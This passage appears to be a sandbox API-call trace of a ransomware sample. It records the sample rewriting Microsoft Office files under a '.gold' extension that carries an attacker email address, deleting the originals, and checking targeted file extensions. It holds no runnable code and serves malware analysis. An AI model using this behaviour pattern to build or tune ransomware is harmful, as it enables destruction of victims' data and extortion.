Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0108.182] GetLastError () returned 0x0 [0108.182] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x71, lpOverlapped=0x0) returned 1 [0108.183] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x80, lpOverlapped=0x0) returned 1 [0108.183] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.183] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0108.183] SetEndOfFile (hFile=0x3ac) returned 1 [0108.183] CloseHandle (hObject=0x3ac) returned 1 [0108.183] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.183] SetEndOfFile (hFile=0x230) returned 1 [0108.185] CloseHandle (hObject=0x230) returned 1 [0108.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 1 [0108.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.186] lstrlenW (lpString=".doc") returned 4 [0108.186] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.186] lstrlenW (lpString=".docx") returned 5 [0108.186] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.186] lstrlenW (lpString=".pdf") returned 4 [0108.186] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.186] lstrlenW (lpString=".xls") returned 4 [0108.186] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.186] lstrlenW (lpString=".xlsx") returned 5 [0108.186] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.186] lstrlenW (lpString=".ppt") returned 4 [0108.187] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".zip") returned 4 [0108.187] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString=".rar") returned 4 [0108.187] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString=".bz2") returned 4 [0108.187] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString=".7z") returned 3 [0108.187] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".dbf") returned 4 [0108.187] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".1cd") returned 4 [0108.187] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".jpg") returned 4 [0108.187] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".doc") returned 4 [0108.187] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString=".docx") returned 5 [0108.187] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0108.187] lstrlenW (lpString=".pdf") returned 4 [0108.187] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString=".xls") returned 4 [0108.187] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString=".xlsx") returned 5 [0108.187] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0108.187] lstrlenW (lpString=".ppt") returned 4 [0108.187] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".zip") returned 4 [0108.187] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString=".rar") returned 4 [0108.187] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0108.187] lstrlenW (lpString=".bz2") returned 4 [0108.187] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString=".7z") returned 3 [0108.187] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".dbf") returned 4 [0108.187] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".1cd") returned 4 [0108.187] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0108.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0108.187] lstrlenW (lpString=".jpg") returned 4 [0108.187] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0108.188] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0108.188] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0108.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.189] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1475590) returned 1 [0108.189] CloseHandle (hObject=0x230) returned 1 [0108.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 0x20 [0108.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.189] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.189] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0108.190] GetLastError () returned 0x0 [0108.190] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0108.604] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0108.616] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x68416, lpOverlapped=0x0) returned 1 [0108.629] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x68420, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x68420, lpOverlapped=0x0) returned 1 [0108.928] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.928] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0108.928] SetEndOfFile (hFile=0x3ac) returned 1 [0108.928] CloseHandle (hObject=0x3ac) returned 1 [0108.928] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.928] SetEndOfFile (hFile=0x230) returned 1 [0108.952] CloseHandle (hObject=0x230) returned 1 [0108.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 1 [0108.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.953] lstrlenW (lpString=".doc") returned 4 [0108.953] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.953] lstrlenW (lpString=".docx") returned 5 [0108.953] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0108.953] lstrlenW (lpString=".pdf") returned 4 [0108.953] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.953] lstrlenW (lpString=".xls") returned 4 [0108.953] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.953] lstrlenW (lpString=".xlsx") returned 5 [0108.953] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0108.953] lstrlenW (lpString=".ppt") returned 4 [0108.953] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.953] lstrlenW (lpString=".zip") returned 4 [0108.953] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.953] lstrlenW (lpString=".rar") returned 4 [0108.954] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString=".bz2") returned 4 [0108.954] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString=".7z") returned 3 [0108.954] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".dbf") returned 4 [0108.954] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".1cd") returned 4 [0108.954] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".jpg") returned 4 [0108.954] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".doc") returned 4 [0108.954] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString=".docx") returned 5 [0108.954] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0108.954] lstrlenW (lpString=".pdf") returned 4 [0108.954] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString=".xls") returned 4 [0108.954] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString=".xlsx") returned 5 [0108.954] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0108.954] lstrlenW (lpString=".ppt") returned 4 [0108.954] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".zip") returned 4 [0108.954] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString=".rar") returned 4 [0108.954] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0108.954] lstrlenW (lpString=".bz2") returned 4 [0108.954] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString=".7z") returned 3 [0108.954] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".dbf") returned 4 [0108.954] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".1cd") returned 4 [0108.954] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0108.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0108.954] lstrlenW (lpString=".jpg") returned 4 [0108.954] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0108.955] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0108.955] lstrlenW (lpString="WORKFLOW.VSL") returned 12 [0108.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.955] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=42336) returned 1 [0108.955] CloseHandle (hObject=0x230) returned 1 [0108.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 0x20 [0108.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0108.956] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.956] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0108.956] GetLastError () returned 0x0 [0108.956] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xa560, lpOverlapped=0x0) returned 1 [0109.326] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xa570, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xa570, lpOverlapped=0x0) returned 1 [0109.327] ReadFile (in: hFile=0x230, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.328] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.328] SetEndOfFile (hFile=0x3ac) returned 1 [0109.328] CloseHandle (hObject=0x3ac) returned 1 [0109.328] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.328] SetEndOfFile (hFile=0x230) returned 1 [0109.330] CloseHandle (hObject=0x230) returned 1 [0109.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 1 [0109.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.332] lstrlenW (lpString=".doc") returned 4 [0109.332] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0109.332] lstrlenW (lpString=".docx") returned 5 [0109.332] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0109.332] lstrlenW (lpString=".pdf") returned 4 [0109.332] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0109.332] lstrlenW (lpString=".xls") returned 4 [0109.332] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0109.332] lstrlenW (lpString=".xlsx") returned 5 [0109.332] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0109.333] lstrlenW (lpString=".ppt") returned 4 [0109.333] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".zip") returned 4 [0109.333] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0109.333] lstrlenW (lpString=".rar") returned 4 [0109.333] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString=".bz2") returned 4 [0109.333] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString=".7z") returned 3 [0109.333] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".dbf") returned 4 [0109.333] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".1cd") returned 4 [0109.333] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".jpg") returned 4 [0109.333] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".doc") returned 4 [0109.333] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString=".docx") returned 5 [0109.333] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1 [0109.333] lstrlenW (lpString=".pdf") returned 4 [0109.333] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString=".xls") returned 4 [0109.333] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0109.333] lstrlenW (lpString=".xlsx") returned 5 [0109.333] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1 [0109.333] lstrlenW (lpString=".ppt") returned 4 [0109.333] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".zip") returned 4 [0109.333] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0109.333] lstrlenW (lpString=".rar") returned 4 [0109.333] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString=".bz2") returned 4 [0109.333] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString=".7z") returned 3 [0109.333] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".dbf") returned 4 [0109.333] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".1cd") returned 4 [0109.333] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0109.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60 [0109.333] lstrlenW (lpString=".jpg") returned 4 [0109.333] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0109.334] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0109.334] lstrlenW (lpString="XLLEX.DLL") returned 9 [0109.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.372] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=37760) returned 1 [0109.373] CloseHandle (hObject=0x180) returned 1 [0109.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll")) returned 0x20 [0109.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".doc") returned 4 [0109.405] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".docx") returned 5 [0109.405] lstrcmpiW (lpString1=".docx", lpString2="X.DLL") returned -1 [0109.405] lstrlenW (lpString=".pdf") returned 4 [0109.405] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".xls") returned 4 [0109.405] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString=".xlsx") returned 5 [0109.405] lstrcmpiW (lpString1=".xlsx", lpString2="X.DLL") returned -1 [0109.405] lstrlenW (lpString=".ppt") returned 4 [0109.405] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0109.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL") returned 57 [0109.405] lstrlenW (lpString=".zip") returned 4 